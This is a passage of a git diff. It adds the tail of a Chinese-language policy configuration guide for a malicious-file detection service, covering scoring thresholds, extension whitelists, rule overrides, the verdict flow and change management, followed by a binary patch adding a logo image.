**≥ 此值** 时判定为 `malicious`，处置动作为 `reject` | + +调整方向：调低 → 更严格（更多文件被拒），调高 → 更宽松（需积累更多信号才拒绝）。 + +> 注意：单条 `critical` 级信号通常权重已达 50~90，因此 `block_score` 低于 50 时，大量正常文档会因多条低级信号叠加被拒。 + +#### 2.1.2 `review_score` + +| 项 | 说明 | +|---|---| +| 类型 | 数组 `[下界, 上界]` | +| 默认 | `[30, 70]` | +| 含义 | 评分落在该区间时判定为 `suspicious`，处置动作为 `manual_review`（转人工复核） | + +**这是误报缓冲的关键参数。** 调整方向：调低下界 → 更多文件进入人工复核（更安全但人工压力大）；调高下界 → 更少人工复核（但风险文件可能被直接放行）。 + +#### 2.1.3 `engine_failure_mode` + +| 项 | 说明 | +|---|---| +| 类型 | 字符串 `fail_closed` / `fail_open` | +| 默认 | `fail_closed` | +| 含义 | 检测引擎不可用时的整体行为 | + +| 取值 | 行为 | 适用 | +|---|---|---| +| `fail_closed` | 直接拒绝，并说明引擎不可用 | **生产环境必须使用此项** | +| `fail_open` | 放行但标记 | 仅限测试环境 | + +> 等保三级要求"安全优先"，生产环境使用 `fail_open` 会在测评时被判定为不符合项。 + +#### 2.1.4 `max_file_size` + +| 项 | 说明 | +|---|---| +| 类型 | 整数（字节） | +| 默认 | `52428800`（50 MB） | +| 含义 | 单文件大小上限。超限直接拒绝 | + +#### 2.1.5 `sync_max_size` + +| 项 | 说明 | +|---|---| +| 类型 | 整数（字节） | +| 默认 | `52428800`（50 MB） | +| 含义 | 同步模式处理的文件大小上限。超限转异步 | + +必须 ≤ `max_file_size`。若大于，则会出现"文件本身允许但无法同步处理"的中间态。 + +#### 2.1.6 `allow_encrypted_archive` / `allow_encrypted_document` + +| 项 | 说明 | +|---|---| +| 类型 | 布尔 | +| 默认 | `false` | +| 含义 | 是否允许加密的压缩包 / 加密的文档 | + +加密文件无法被静态分析，**在无法确认内容安全的前提下不应放行**。确需放行时，应配合人工复核流程。 + +### 2.2 allowed_extensions + +允许传输的扩展名白名单。 + +```yaml +allowed_extensions: + - .docx + - .pdf + - .xlsx + - .jpg + - .png + - .zip +``` + +规则： + +- 必须以 `.` 开头（小写），否则加载校验失败 +- 比较时统一转小写，配置中的大写会被拒绝 +- **列表为空表示不限制**，生产环境强烈不建议 +- 只校验**顶层文件**的扩展名；归档内的子文件由各自规则判定（受 `rule_overrides` 控制） + +> 白名单是第一道也是最粗的一道防线。它挡不住"扩展名正确但内容是恶意"的攻击——那是 L1/L2 层的职责。 + +### 2.3 sandbox_required_extensions + +强制走沙箱异步深检的扩展名。 + +```yaml +sandbox_required_extensions: + - .exe + - .msi + - .js + - .vbs + - .iso +``` + +**当前版本（P3 一期）沙箱未实现**，配置此项的效果是：命中的文件会走异步模式，并在 `meta` 中标注需要深检。P4 阶段接入 CAPE 后无需修改本项。 + +### 2.4 rule_overrides + +特定规则的强制处置。**这是绕过评分直接裁决的能力**，用于把"一票否决"型规则固化下来。 + +```yaml +rule_overrides: + MRaptorAutoExecSuspicious: + action: reject + reason: "文档宏具备自动执行且包含可疑行为，按策略直接拒绝" + DDEAutoExecution: + action: reject + reason: "检测到 DDE/DDEAUTO 自动执行字段，按策略直接拒绝" +``` + +| 字段 | 说明 | +|---|---| +| `action` | 处置动作，见下表 | +| `reason` | 判定理由，可直接展示给用户（支持中文） | + +**action 取值** + +| 取值 | 行为 | +|---|---| +| `pass` | 放行 | +| `pass_with_flag` | 放行并标记 | +| `manual_review` | 转人工复核（同时把评分提升至 65，确保落入复核区间） | +| `reject` | 拒绝 | +| `reject_and_notify` | 拒绝并通知（当前实现等同 `reject`） | + +**生效逻辑** + +1. 命中 `rule_overrides` 的规则会**优先于评分**处理 +2. 若 `action` 为 `reject` 类 → 立即返回拒绝结论，不再累加评分 +3. 若 `action` 为 `manual_review` → 评分提升至 65 并继续后续裁决 + +**为什么用覆盖而不是纯评分**：像 `PathTraversal`、`DDEAutoExecution` 这类信号，一旦出现就足以判定不可放行，不应依赖其他信号累加来"凑够"阈值。 + +> 规则名必须与《接口文档》§6 中的 `rule` 字段完全一致，包括大小写。写错不会报错，只是永不生效——因此**每次修改后应实际测试验证**。 + +### 2.5 notification + +```yaml +notification: + include_reason: true + max_reason_length: 500 +``` + +| 字段 | 说明 | +|---|---| +| `include_reason` | 是否在结果中返回判定理由。关闭后 `reason` 为空字符串 | +| `max_reason_length` | 理由最大长度，超出截断（末尾加 `...`） | + +> `include_reason` 只影响**返回给调用方的内容**，不影响审计日志。审计日志始终记录完整信息。 + +### 2.6 audit + +```yaml +audit: + log_findings: true + log_extracted_paths: true +``` + +| 字段 | 说明 | +|---|---| +| `log_findings` | 审计日志中是否记录命中的规则明细 | +| `log_extracted_paths` | 是否记录归档内提取出的文件路径 | + +关闭 `log_findings` 可显著降低审计日志体积，代价是事后无法还原"当初为什么判定为恶意"。**建议保持开启**。 + +--- + +## 3. 裁决流程 + +``` + ┌─────────────────────────┐ + 检测信号 ────────▶│ 步骤 1：引擎可用性检查 │──▶ 引擎不可用 → fail_closed 拒绝 + └─────────────────────────┘ + │ + ▼ + ┌─────────────────────────┐ + │ 步骤 2：文件大小检查 │──▶ 超限 → 拒绝 + └─────────────────────────┘ + │ + ▼ + ┌─────────────────────────┐ + │ 步骤 3：扩展名白名单 │──▶ 不在清单 → 拒绝 + └─────────────────────────┘ + │ + ▼ + ┌─────────────────────────┐ + │ 步骤 4：加密文件检查 │──▶ 加密且不允许 → 拒绝 + └─────────────────────────┘ + │ + ▼ + ┌─────────────────────────┐ + │ 步骤 5：规则覆盖匹配 │──▶ 命中 reject 类 → 立即拒绝 + └─────────────────────────┘ + │ + ▼ + ┌─────────────────────────┐ + │ 步骤 6：权重累加评分 │ + └─────────────────────────┘ + │ + ▼ + ┌─────────────────────────┐ + │ 步骤 7：阈值映射处置 │ + └─────────────────────────┘ +``` + +### 3.1 评分计算 + +``` +score = min(Σ(命中信号的 weight), 100) +``` + +已被 `rule_overrides` 处理的信号不重复累加。 + +### 3.2 阈值映射 + +| 评分区间 | verdict | action | +|---|---|---| +| `score == 0` | `clean` | `pass` | +| `0 < score < review_low` | `suspicious` | `pass_with_flag` | +| `review_low ≤ score < block_score` | `suspicious` | `manual_review` | +| `score ≥ block_score` | `malicious` | `reject` | + +### 3.3 权重来源 + +| 层级 | 典型权重 | +|---|---| +| L0 结构层 | 10 ~ 50 | +| L1 ClamAV | 25 ~ 90 | +| L2 文档深度 | 15 ~ 80 | +| L2B YARA / 二进制 | 10 ~ 85 | + +权重定义在各检测引擎内部，调整权重要改代码——**因此优先用 `rule_overrides` 表达策略意图**，而不是频繁改权重。 + +--- + +## 4. 调整场景手册 + +### 4.1 场景：误报过多，业务被阻塞 + +**症状**：大量正常文档被判为 `manual_review` 或 `reject`。 + +**排查步骤** + +1. 查审计日志，找出被拒文件的命中规则 +2. 判断是哪条规则在误报 + +**处理方式** + +| 误报来源 | 处理 | +|---|---| +| 某条规则过于敏感 | 用 `rule_overrides` 将该规则降级为 `pass_with_flag`，并改写 `reason` 说明 | +| 阈值过低 | 提高 `review_score` 下界，或提高 `block_score` | +| 白名单缺少某类型 | 在 `allowed_extensions` 补充 | +| 正常文件确实含宏（如模板文件） | 用 `rule_overrides` 对特定规则放行，**但需评估该文件是否会成为攻击载体** | + +> 建议不要直接调高 `block_score`——那会让真正的恶意文件更容易通过。优先降级具体规则。 + +### 4.2 场景：漏报，需要提升严格度 + +| 措施 | 配置 | +|---|---| +| 降低复核门槛 | 调低 `review_score` 下界 | +| 直接提高拒绝门槛 | 调低 `block_score` | +| 某类风险必须拦截 | 在 `rule_overrides` 中加 `reject` | +| 禁用某类可执行文件 | 确认 `allowed_extensions` 中不含该类型 | +| 加密文件也拦截 | 保持 `allow_encrypted_*` 为 `false` | + +### 4.3 场景：新增业务通道，需要独立策略 + +**当前版本为全局单策略。** 如需按通道区分，两种做法： + +**做法 A（不推荐，需改代码）**：在策略中引入 `channels` 段，裁决时按 `channel` 取对应子策略。 + +**做法 B（推荐，零代码改动）**：在摆渡系统侧做分流。摆渡系统按通道自行维护白名单，检测服务只做统一的恶意性判定。 + +> 本期方案已确认采用全局策略。通道字段贯穿全链路（数据库、审计日志、API），后续扩展无需重构。 + +### 4.4 场景：允许某类加密文件 + +```yaml +global: + allow_encrypted_document: true +``` + +**同时必须配套**：加密文件无法静态检测，风险由人工复核承担。建议同时把该类文件的处置设为 `manual_review`： + +```yaml +rule_overrides: + PdfEncrypted: + action: manual_review + reason: "PDF 已加密，无法自动检测，转人工复核" +``` + +### 4.5 场景：新增一种文件类型要放行 + +1. 在 `allowed_extensions` 补充扩展名 +2. 确认该类型没有对应的深度检测引擎（否则即使放行也只是"未检测"，不是"已检测通过"） +3. 若该类型有特殊风险（如脚本类），评估是否需要新增检测规则 + +--- + +## 5. 校验与错误处理 + +### 5.1 加载时校验项 + +策略文件在加载时执行严格校验，**任一项不通过则拒绝加载并保留原有策略**： + +| 校验项 | 规则 | +|---|---| +| 根节点类型 | 必须是映射结构 | +| `review_score` | 下界必须小于上界 | +| `block_score` | 不应低于 `review_score` 上界；须在 0~100 之间 | +| `rule_overrides[].action` | 必须是合法动作枚举 | +| `allowed_extensions` | 每项必须以 `.` 开头 | +| `sync_max_size` | 须 ≤ `max_file_size` | + +> **为什么校验失败要保留旧策略**：如果加载失败时回退到"默认策略"或"空策略"，等于把生产环境的判定逻辑悄悄改掉了，比直接报错危险得多。 + +### 5.2 重载失败的表现 + +```json +{ + "detail": "策略校验失败: block_score (50) 不应低于 review_score 上界 (70)" +} +``` + +原策略继续生效。修正后重新调用重载接口。 + +### 5.3 常见配置错误 + +| 错误 | 后果 | 修正 | +|---|---|---| +| 扩展名写成 `docx`（漏点） | 加载校验失败 | 改为 `.docx` | +| 扩展名大写 `.DOCX` | 加载校验失败 | 改为小写 | +| `rule_overrides` 规则名拼错 | **静默失效** | 对照接口文档 §6 核对，并实际测试 | +| `block_score` 调得极低（如 10） | 正常文件大量被拒 | 回调至 60~80 | +| `allowed_extensions` 留空 | 所有类型都被拒 | 补充清单 | + +> **规则名拼错是唯一会静默失效的配置错误**，务必实测。 + +--- + +## 6. 变更管理 + +### 6.1 变更流程 + +``` +提出变更 → 安全管理员评审 → 备份当前策略 → 修改配置 + → 语法校验（本地） → 重载 → 用样本文件验证 → 记录变更 +``` + +### 6.2 变更记录要求 + +每次策略变更应记录： + +| 项 | 说明 | +|---|---| +| 变更时间 | 精确到分钟 | +| 变更人 | 姓名与账号 | +| 变更内容 | 具体字段的前后值 | +| 变更原因 | 业务或安全需求说明 | +| 影响评估 | 是否影响在途文件、是否需要通知对接方 | +| 验证方式 | 用哪些样本文件验证、结果如何 | + +### 6.3 版本追溯 + +每次扫描结果携带 `meta.policy_version` 与 `meta.policy_sha256`。数据库中保留策略版本快照，可用于**按历史策略复现**某一历史文件的判定结果。 + +### 6.4 灰度建议 + +策略变更影响面大时，建议： + +1. 先在测试环境用真实样本文件验证 +2. 对比新旧策略的判定差异（可通过 `rescan` 接口批量重跑） +3. 差异符合预期后再在生产重载 + +--- + +## 附录：完整默认策略 + +见 `config/policy.yaml`。本文档说明各字段含义，实际以配置文件为准。 + +--- + +**文档结束** · 配套文档：《总体方案》《接口文档》《等保三级对照表》《运维手册》 diff --git a/logo.png b/logo.png new file mode 100644 index 0000000000000000000000000000000000000000..698bcf6f574082c59fe3f8124c26b15362ab27f4 GIT binary patch literal 314800 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 